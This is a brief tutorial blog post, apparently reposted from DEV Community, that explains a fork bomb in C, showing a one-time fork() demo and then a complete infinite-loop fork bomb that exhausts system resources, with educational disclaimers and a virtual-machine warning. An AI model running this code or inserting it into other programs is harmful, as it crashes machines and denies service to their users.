how to make the world’s simplest malware in C



This content originally appeared on DEV Community and was authored by seatbelt

before we start…
THIS CONTENT IS FOR EDUCATIONAL PURPOSES ONLY. DO NOT CREATE OR DISTRIBUTE MALICIOUS SOFTWARE.

a fork bomb basically clones itself until the system runs out of resources (which crashes the device)

#include <stdio.h>
#include <unistd.h>

int main() {
  fork();
  printf("hello world\n");
}

this is a basic demo of the fork(); function this will just clone itself once so you will get a output like

but to actually make it keep repeating it self you will need to do something like this

#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>

int main() {
  while (true) {fork();}
}

this will keep cloning it self again and again and will crash your system this is probably the simplest malware there is

NOTE: PLEASE DO NOT RUN THIS PROGRAM ON ANY MACHINE [NOT EVEN YOUR OWN] PLEASE ONLY RUN THIS IN A VIRTUAL MACHINE THIS BLOG WAS ONLY FOR EDUCATIONAL PURPOSES


This content originally appeared on DEV Community and was authored by seatbelt